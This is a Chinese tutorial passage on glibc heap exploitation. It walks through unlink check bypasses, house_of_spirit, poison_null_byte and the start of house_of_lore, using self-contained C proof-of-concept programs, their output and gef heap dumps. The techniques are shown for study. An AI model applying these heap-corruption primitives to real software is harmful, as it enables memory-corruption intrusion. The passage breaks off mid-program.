&lt;p&gt;读取 Next Chunk 的 &lt;code&gt;prev_size&lt;/code&gt; 字段&lt;/p&gt;
&lt;p&gt;因为 P 是空闲的（正在被 unlink），根据 glibc 规则，Next Chunk 的 &lt;code&gt;PREV_INUSE&lt;/code&gt; 位必定是 0，且 Next Chunk 的 &lt;code&gt;prev_size&lt;/code&gt; 字段必须存放 P 的大小&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$$P \to \text{size} == (P + P \to \text{size}) \to \text{prev_size}$$&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;回顾一下伪造出来的堆：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/40gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000091  &amp;lt;-- chunk 0
0x602010:   0x0000000000000000  0x0000000000000000  &amp;lt;-- fake chunk P
0x602020:   0x0000000000601058  0x0000000000601060      &amp;lt;-- fd, bk pointer
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000080  0x0000000000000090  &amp;lt;-- chunk 1 &amp;lt;-- prev_size
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000000000
0x6020e0:   0x0000000000000000  0x0000000000000000
0x6020f0:   0x0000000000000000  0x0000000000000000
0x602100:   0x0000000000000000  0x0000000000000000
0x602110:   0x0000000000000000  0x0000000000000000
0x602120:   0x0000000000000000  0x0000000000020ee1  &amp;lt;-- top chunk
0x602130:   0x0000000000000000  0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有三种办法可以绕过该检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1.  什么都不做
chunksize(P) == chunk0_ptr[1] &amp;amp; (~ 0x7) == 0x0
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0
    
// 2. 设置 chunk0_ptr[1] = 0x8
chunksize(P) == chunk0_ptr[1] &amp;amp; (~ 0x7) == 0x8
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8

// 3. 设置 chunk0_ptr[1] = 0x80
chunksize(P) == chunk0_ptr[1] &amp;amp; (~ 0x7) == 0x80
prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;libc 2.26&lt;/h4&gt;
&lt;p&gt;新增了tcache机制，这是一种线程缓存机制，每个线程默认情况下有 64 个大小递增的 bins，每个 bin 是一个单链表，默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的，所以在释放 chunk 1 的时候，&lt;code&gt;chunk0_ptr&lt;/code&gt; 仍然指向正确的堆地址，而不是之前的 &lt;code&gt;chunk0_ptr = P = P-&amp;gt;fd&lt;/code&gt;。为了解决这个问题，一种可能的办法是给填充进特定大小的 chunk 把 bin 占满，就像下面这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    // deal with tcache
    int *a[10];
    int i;
    for (i = 0; i &amp;lt; 7; i++) {
        a[i] = malloc(0x80);
    }
    for (i = 0; i &amp;lt; 7; i++) {
        free(a[i]);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;house_of_spirit&lt;/h3&gt;
&lt;p&gt;house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流，但如果栈溢出的长度无法覆盖返回地址，同时却可以覆盖栈上的一个即将被 free 的堆指针，此时可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据，接着在 free 操作时，这个栈上的堆块被放到 fast bin 中，下一次 malloc 对应的大小时，由于 fast bin 的先进后出机制，这个栈上的堆块被返回给用户，再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk，而是控制传给 free 函数的指针，将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
    malloc(1);

    fprintf(stderr, &quot;We will overwrite a pointer to point to a fake &apos;fastbin&apos; region. This region contains two chunks.\n&quot;);
    unsigned long long *a, *b;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, &quot;The first one:  %p\n&quot;, &amp;amp;fake_chunks[0]);
    fprintf(stderr, &quot;The second one: %p\n&quot;, &amp;amp;fake_chunks[4]);

    fake_chunks[1] = 0x20;      // the size
    fake_chunks[5] = 0x1234;    // nextsize

    fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[6] = 0x4141414141414141LL;

    fprintf(stderr, &quot;Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n&quot;, &amp;amp;fake_chunks[0]);
    a = &amp;amp;fake_chunks[2];

    fprintf(stderr, &quot;Freeing the overwritten pointer.\n&quot;);
    free(a);

    fprintf(stderr, &quot;Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n&quot;, &amp;amp;fake_chunks[0], &amp;amp;fake_chunks[2]);
    b = malloc(0x10);
    fprintf(stderr, &quot;malloc(0x10): %p\n&quot;, b);
    b[0] = 0x4242424242424242LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g house_of_spirit.c
$ ./a.out
We will overwrite a pointer to point to a fake &apos;fastbin&apos; region. This region contains two chunks.
The first one:  0x7ffc782dae00
The second one: 0x7ffc782dae20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
malloc(0x10): 0x7ffc782dae10
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先 malloc(1) 用于初始化内存环境，然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的，需要一个传递给 free 函数的可以被修改的指针，无论是通过栈溢出还是其它什么方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/10gx &amp;amp;fake_chunks
0x7fffffffdcb0: 0x0000000000000000  0x0000000000000020  &amp;lt;-- fake chunk 1
0x7fffffffdcc0: 0x4141414141414141  0x0000000000000000
0x7fffffffdcd0: 0x0000000000000001  0x0000000000001234  &amp;lt;-- fake chunk 2
0x7fffffffdce0: 0x4141414141414141  0x0000000000000000
gef➤  x/gx &amp;amp;a
0x7fffffffdca0: 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;伪造 chunk 时需要绕过一些检查，首先是标志位，&lt;code&gt;PREV_INUSE&lt;/code&gt; 位并不影响 free 的过程，但 &lt;code&gt;IS_MMAPPED&lt;/code&gt; 位和 &lt;code&gt;NON_MAIN_ARENA&lt;/code&gt; 位都要为零。&lt;/p&gt;
&lt;p&gt;其次，在 64 位系统中 fast chunk 的大小要在 0x20-0x80 字节之间&lt;/p&gt;
&lt;p&gt;最后，是 next chunk 的大小，必须大于 &lt;code&gt;2*SIZE_SZ&lt;/code&gt;（即大于16），小于 &lt;code&gt;av-&amp;gt;system_mem&lt;/code&gt;（即小于0x21000），才能绕过对 next chunk 大小的检查。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置，然后将其传递给 free 函数，这时程序就会误以为这是一块真的 chunk，然后将其释放并加入到 fastbin 中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/gx &amp;amp;a
0x7fffffffdca0: 0x00007fffffffdcc0
gef➤  x/10gx &amp;amp;fake_chunks
0x7fffffffdcb0: 0x0000000000000000  0x0000000000000020  &amp;lt;-- fake chunk 1 [be freed]
0x7fffffffdcc0: 0x0000000000000000  0x0000000000000000
0x7fffffffdcd0: 0x0000000000000001  0x0000000000001234  &amp;lt;-- fake chunk 2
0x7fffffffdce0: 0x4141414141414141  0x0000000000000000
0x7fffffffdcf0: 0x0000000000400820  0x00000000004005b0
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x7fffffffdcc0, size=0x20, flags=)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这时如果我们 malloc 一个对应大小的 fast chunk，程序将从 fastbins 中分配出这块被释放的 chunk。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/10gx &amp;amp;fake_chunks
0x7fffffffdcb0: 0x0000000000000000  0x0000000000000020  &amp;lt;-- new chunk
0x7fffffffdcc0: 0x4242424242424242  0x0000000000000000
0x7fffffffdcd0: 0x0000000000000001  0x0000000000001234  &amp;lt;-- fake chunk 2
0x7fffffffdce0: 0x4141414141414141  0x0000000000000000
0x7fffffffdcf0: 0x0000000000400820  0x00000000004005b0
gef➤  x/gx &amp;amp;b
0x7fffffffdca8: 0x00007fffffffdcc0
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;house-of-spirit 的主要目的是，当我们伪造的 fake chunk 内部存在不可控区域时，运用这一技术可以将这片区域变成可控的。上面为了方便观察，在 fake chunk 里填充一些字母，但在现实中这些位置很可能是不可控的，而 house-of-spirit 也正是以此为目的而出现的。&lt;/p&gt;
&lt;p&gt;该技术的缺点也是需要对栈地址进行泄漏，否则无法正确覆盖需要释放的堆指针，且在构造数据时，需要满足对齐的要求等。&lt;/p&gt;
&lt;h3&gt;poison_null_byte&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;

int main() {
    uint8_t *a, *b, *c, *b1, *b2, *d;

    a = (uint8_t*) malloc(0x10);
    int real_a_size = malloc_usable_size(a);	//real_a_size = chunksize(a) - 0x8 == 0x18
    fprintf(stderr, &quot;We allocate 0x10 bytes for &apos;a&apos;: %p\n&quot;, a);
    fprintf(stderr, &quot;&apos;real&apos; size of &apos;a&apos;: %#x\n&quot;, real_a_size);

    b = (uint8_t*) malloc(0x100);
    c = (uint8_t*) malloc(0x80);		//非fastbins，可以合并
    fprintf(stderr, &quot;b: %p\n&quot;, b);
    fprintf(stderr, &quot;c: %p\n&quot;, c);

    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
    *(size_t*)(b+0xf0) = 0x100;
    fprintf(stderr, &quot;b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n&quot;, *b_size_ptr);

    // deal with tcache
    // int *k[10], i;
    // for (i = 0; i &amp;lt; 7; i++) {
    //     k[i] = malloc(0x100);
    // }
    // for (i = 0; i &amp;lt; 7; i++) {
    //     free(k[i]);
    // }
    free(b);
    uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
    fprintf(stderr, &quot;After free(b), c.prev_size: %#lx\n&quot;, *c_prev_size_ptr);

    a[real_a_size] = 0; // &amp;lt;--- THIS IS THE &quot;EXPLOITED BUG&quot;
    fprintf(stderr, &quot;We overflow &apos;a&apos; with a single null byte into the metadata of &apos;b&apos;\n&quot;);
    fprintf(stderr, &quot;b.size: %#lx\n\n&quot;, *b_size_ptr);

    fprintf(stderr, &quot;Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n&quot;, *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x80);
    memset(b1, &apos;A&apos;, 0x80);
    fprintf(stderr, &quot;We malloc &apos;b1&apos;: %p\n&quot;, b1);
    fprintf(stderr, &quot;c.prev_size: %#lx\n&quot;, *c_prev_size_ptr);
    fprintf(stderr, &quot;fake c.prev_size: %#lx\n\n&quot;, *(((uint64_t*)c)-4));

    b2 = malloc(0x40);
    memset(b2, &apos;A&apos;, 0x40);
    fprintf(stderr, &quot;We malloc &apos;b2&apos;, our &apos;victim&apos; chunk: %p\n&quot;, b2);

    // deal with tcache
    // for (i = 0; i &amp;lt; 7; i++) {
    //     k[i] = malloc(0x80);
    // }
    // for (i = 0; i &amp;lt; 7; i++) {
    //     free(k[i]);
    // }
    free(b1);
    free(c);
    fprintf(stderr, &quot;Now we free &apos;b1&apos; and &apos;c&apos;, this will consolidate the chunks &apos;b1&apos; and &apos;c&apos; (forgetting about &apos;b2&apos;).\n&quot;);

    d = malloc(0x110);
    fprintf(stderr, &quot;Finally, we allocate &apos;d&apos;, overlapping &apos;b2&apos;: %p\n\n&quot;, d);

    fprintf(stderr, &quot;b2 content:%s\n&quot;, b2);
    memset(d, &apos;B&apos;, 0xb0);
    fprintf(stderr, &quot;New b2 content:%s\n&quot;, b2);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g poison_null_byte.c
$ ./a.out
We allocate 0x10 bytes for &apos;a&apos;: 0xabb010
&apos;real&apos; size of &apos;a&apos;: 0x18
b: 0xabb030
c: 0xabb140
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow &apos;a&apos; with a single null byte into the metadata of &apos;b&apos;
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc &apos;b1&apos;: 0xabb030
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc &apos;b2&apos;, our &apos;victim&apos; chunk: 0xabb0c0
Now we free &apos;b1&apos; and &apos;c&apos;, this will consolidate the chunks &apos;b1&apos; and &apos;c&apos; (forgetting about &apos;b2&apos;).
Finally, we allocate &apos;d&apos;, overlapping &apos;b2&apos;: 0xabb030

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;通过溢出下一个 chunk 的 size 字段，攻击者能够在堆中创造出重叠的内存块，从而达到改写其他数据的目的&lt;/p&gt;
&lt;p&gt;对于单字节溢出的利用有下面几种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;扩展被释放块：当溢出块的下一块为被释放块且处于 unsorted bin 中，则通过溢出一个字节来将其大小扩大，下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |&amp;lt;--实际得到的块-&amp;gt;|
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;扩展已分配块：当溢出块的下一块为使用中的块，则需要合理控制溢出的字节，使其被释放时的合并操作能够顺利进行，例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时，即可取得已经被扩大的块，并造成进一步溢出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |&amp;lt;--实际得到的块-&amp;gt;|
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;收缩被释放块：此情况针对溢出的字节只能为 0 的时候，此时将下一个被释放的块大小缩小，如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段，导致释放时出现重叠的堆块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  0x100     0x210     0x80
|-------|---------------|-------|
|   A   |       B       |   C   |   初始状态
|-------|---------------|-------|
|   A   |       B       |   C   |   释放 B
|-------|---------------|-------|
|   A   |       B       |   C   |   溢出 B 的 size 为 0x200
|-------|---------------|-------|   之后的 malloc 操作没有更新 C 的 prev_size
初始状态，B大小为0x210，C的prev_size为0x210
释放B，B进入unsorted bin，通过溢出将B的size修改为0x200，
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;     0x180  0x80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8), malloc(0x80-8)
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 B1
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 C，C 将与 B1 合并
|-------|------|-----|--|-------|&lt;br /&gt;
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8)
|-------|------|-----|--|-------|   B2 将被覆盖
|&amp;lt;实际得到的块&amp;gt;|&lt;/p&gt;
&lt;p&gt;其后申请0x180给B1，会从B中切0x180
剩下的0x80形成新的chunk B2（依旧在bin中）
分配器只会更新B2的prev_size为0x180，它不会去修改C的prev_size
申请0x80，申请到B2
释放B1，此时B1的标志位会修改为0
此时释放C，系统通过索引C的prev_size找到B1，并通过标志位发现可以向前合并
于是B、C的整个内存合成了一个大的unsorted bin
重新申请chunk时，会从这个unsorted bin中切割，可以造成与B2的堆叠&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;house of einherjar：也是溢出字节只能为 0 的情况，当它是&lt;strong&gt;更新溢出块下一块的 prev_size 字段&lt;/strong&gt;，使其在被释放时能够找到之前一个合法的被释放块并与其合并，造成堆块重叠&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  0x100   0x100   0x101
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 A
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B，覆盖 C 块的 size 为 0x200，并使其 prev_size 为 0x200
|-------|-------|-------|
|   A   |   B   |   C   |   释放 C
|-------|-------|-------|
|   A   |   B   |   C   |   C 将与 A 合并
|-------|-------|-------|   B 块被重叠
|&amp;lt;-----实际得到的块------&amp;gt;|
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先分配三个 chunk，第一个 chunk 类型无所谓，但后两个不能是 fast chunk，因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出，去覆盖 chunk b 的第一个字节，chunk c 的作用是帮助伪造 fake chunk。&lt;/p&gt;
&lt;p&gt;为了在修改 chunk b 的 size 字段后，依然能通过 unlink 的检查，我们需要伪造一个 c.prev_size 字段，字段的大小是很好计算的，即 &lt;code&gt;0x100 &lt;/code&gt;，正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉，chunk b 随后被放到 unsorted bin 中，大小是 0x110。此时的堆布局如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/42gx a-0x10
0x603000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk a
0x603010:    0x0000000000000000    0x0000000000000000
0x603020:    0x0000000000000000    0x0000000000000111  &amp;lt;-- chunk b [be freed]
0x603030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x603040:    0x0000000000000000    0x0000000000000000
0x603050:    0x0000000000000000    0x0000000000000000
0x603060:    0x0000000000000000    0x0000000000000000
0x603070:    0x0000000000000000    0x0000000000000000
0x603080:    0x0000000000000000    0x0000000000000000
0x603090:    0x0000000000000000    0x0000000000000000
0x6030a0:    0x0000000000000000    0x0000000000000000
0x6030b0:    0x0000000000000000    0x0000000000000000
0x6030c0:    0x0000000000000000    0x0000000000000000
0x6030d0:    0x0000000000000000    0x0000000000000000
0x6030e0:    0x0000000000000000    0x0000000000000000
0x6030f0:    0x0000000000000000    0x0000000000000000
0x603100:    0x0000000000000000    0x0000000000000000
0x603110:    0x0000000000000000    0x0000000000000000
0x603120:    0x0000000000000100    0x0000000000000000      &amp;lt;-- fake c.prev_size
0x603130:    0x0000000000000110    0x0000000000000090  &amp;lt;-- chunk c
0x603140:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最关键的一步，通过溢出漏洞覆写 chunk b 的数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/42gx a-0x10
0x603000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk a
0x603010:    0x0000000000000000    0x0000000000000000
0x603020:    0x0000000000000000    0x0000000000000100  &amp;lt;-- chunk b [be freed]
0x603030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x603040:    0x0000000000000000    0x0000000000000000
0x603050:    0x0000000000000000    0x0000000000000000
0x603060:    0x0000000000000000    0x0000000000000000
0x603070:    0x0000000000000000    0x0000000000000000
0x603080:    0x0000000000000000    0x0000000000000000
0x603090:    0x0000000000000000    0x0000000000000000
0x6030a0:    0x0000000000000000    0x0000000000000000
0x6030b0:    0x0000000000000000    0x0000000000000000
0x6030c0:    0x0000000000000000    0x0000000000000000
0x6030d0:    0x0000000000000000    0x0000000000000000
0x6030e0:    0x0000000000000000    0x0000000000000000
0x6030f0:    0x0000000000000000    0x0000000000000000
0x603100:    0x0000000000000000    0x0000000000000000
0x603110:    0x0000000000000000    0x0000000000000000
0x603120:    0x0000000000000100    0x0000000000000000      &amp;lt;-- fake c.prev_size
0x603130:    0x0000000000000110    0x0000000000000090  &amp;lt;-- chunk c
0x603140:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x100, flags=)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，通过prev_size检查：$$P \to \text{size} == (P + P \to \text{size}) \to \text{prev_size}$$&lt;/p&gt;
&lt;p&gt;另外 unsorted bin 中的 chunk 大小也变成了 0x100。&lt;/p&gt;
&lt;p&gt;接下来随意分配两个 chunk，malloc 会从 unsorted bin 中划出合适大小的内存返回给用户：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/42gx a-0x10
0x603000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk a
0x603010:    0x0000000000000000    0x0000000000000000
0x603020:    0x0000000000000000    0x0000000000000091  &amp;lt;-- chunk b1  &amp;lt;-- fake chunk b
0x603030:    0x4141414141414141    0x4141414141414141
0x603040:    0x4141414141414141    0x4141414141414141
0x603050:    0x4141414141414141    0x4141414141414141
0x603060:    0x4141414141414141    0x4141414141414141
0x603070:    0x4141414141414141    0x4141414141414141
0x603080:    0x4141414141414141    0x4141414141414141
0x603090:    0x4141414141414141    0x4141414141414141
0x6030a0:    0x4141414141414141    0x4141414141414141
0x6030b0:    0x0000000000000000    0x0000000000000051  &amp;lt;-- chunk b2  &amp;lt;-- &apos;victim&apos; chunk
0x6030c0:    0x4141414141414141    0x4141414141414141
0x6030d0:    0x4141414141414141    0x4141414141414141
0x6030e0:    0x4141414141414141    0x4141414141414141
0x6030f0:    0x4141414141414141    0x4141414141414141
0x603100:    0x0000000000000000    0x0000000000000021  &amp;lt;-- unsorted bin		//剩下的0x20为unsorted bin
0x603110:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      &amp;lt;-- fd, bk pointer
0x603120:    0x0000000000000020    0x0000000000000000      &amp;lt;-- fake c.prev_size		//分配之后，fake c.prev_size	发生变化，为unsorted bin的大小
0x603130:    0x0000000000000110    0x0000000000000090  &amp;lt;-- chunk c
0x603140:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena &apos;main_arena&apos; ]
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分配堆块后，发生变化的是 fake c.prev_size，而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。&lt;/p&gt;
&lt;p&gt;接下来我们先free b1，伪造出 fake chunk b 是 free chunk 的样子。然后free C，free C的时候会通过prev_size检查是否前一个chunk能否合并，显然通过索引到的“前一个chunk”为b1，发现b1是free状态，触发合并&lt;/p&gt;
&lt;p&gt;chunk 合并的过程如下，首先该 chunk 与前一个 chunk 合并，然后检查下一个 chunk 是否为 top chunk，如果不是，将合并后的 chunk 放回 unsorted bin 中，否则，合并进 top chunk&lt;/p&gt;
&lt;p&gt;接下来，申请一块大空间，大到可以把 chunk b2 包含进来，这样 chunk b2 就完全被我们控制了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/42gx a-0x10
0x603000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk a
0x603010:    0x0000000000000000    0x0000000000000000
0x603020:    0x0000000000000000    0x0000000000000121  &amp;lt;-- chunk d
0x603030:    0x4242424242424242    0x4242424242424242
0x603040:    0x4242424242424242    0x4242424242424242
0x603050:    0x4242424242424242    0x4242424242424242
0x603060:    0x4242424242424242    0x4242424242424242
0x603070:    0x4242424242424242    0x4242424242424242
0x603080:    0x4242424242424242    0x4242424242424242
0x603090:    0x4242424242424242    0x4242424242424242
0x6030a0:    0x4242424242424242    0x4242424242424242
0x6030b0:    0x4242424242424242    0x4242424242424242  &amp;lt;-- chunk b2  &amp;lt;-- &apos;victim&apos; chunk
0x6030c0:    0x4242424242424242    0x4242424242424242
0x6030d0:    0x4242424242424242    0x4242424242424242
0x6030e0:    0x4141414141414141    0x4141414141414141
0x6030f0:    0x4141414141414141    0x4141414141414141
0x603100:    0x0000000000000000    0x0000000000000021  &amp;lt;-- small bins
0x603110:    0x00007ffff7dd1b88    0x00007ffff7dd1b88      &amp;lt;-- fd, bk pointer
0x603120:    0x0000000000000020    0x0000000000000000
0x603130:    0x0000000000000110    0x0000000000000090
0x603140:    0x0000000000000000    0x0000000000020ec1  &amp;lt;-- top chunk
gef➤  heap bins small
[ Small Bins for arena &apos;main_arena&apos; ]
[+] small_bins[1]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们malloc的大小大于0x80，此时申请到的chunk d与b2发生了重叠&lt;/p&gt;
&lt;p&gt;还有个事情值得注意，在分配 chunk d 时，由于在 unsorted bin 中没有找到适合的 chunk，malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了，这里就是 small bins。&lt;/p&gt;
&lt;p&gt;最后，继续看 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，把两种大小的 tcache bin 都占满。&lt;/p&gt;
&lt;h3&gt;house_of_lore&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

void jackpot(){ puts(&quot;Nice jump d00d&quot;); exit(0); }

int main() {
    intptr_t *victim = malloc(0x80);
    memset(victim, &apos;A&apos;, 0x80);
    void *p5 = malloc(0x10);
    memset(p5, &apos;A&apos;, 0x10);
    intptr_t *victim_chunk = victim - 2;
    fprintf(stderr, &quot;Allocated the victim (small) chunk: %p\n&quot;, victim);

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[3] = {0};
    stack_buffer_1[0] = 0;
    stack_buffer_1[2] = victim_chunk;
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    fprintf(stderr, &quot;stack_buffer_1: %p\n&quot;, (void*)stack_buffer_1);
    fprintf(stderr, &quot;stack_buffer_2: %p\n\n&quot;, (void*)stack_buffer_2);

    free((void*)victim);
    fprintf(stderr, &quot;Freeing the victim chunk %p, it will be inserted in the unsorted bin\n&quot;, victim);
    fprintf(stderr, &quot;victim-&amp;gt;fd: %p\n&quot;, (void *)victim[0]);
    fprintf(stderr, &quot;victim-&amp;gt;bk: %p\n\n&quot;, (void *)victim[1]);

    void *p2 = malloc(0x100);
    fprintf(stderr, &quot;Malloc a chunk that can&apos;t be handled by the unsorted bin, nor the SmallBin: %p\n&quot;, p2);
    fprintf(stderr, &quot;The victim chunk %p will be inserted in front of the SmallBin\n&quot;, victim);
    fprintf(stderr, &quot;victim-&amp;gt;fd: %p\n&quot;, (void *)victim[0]);
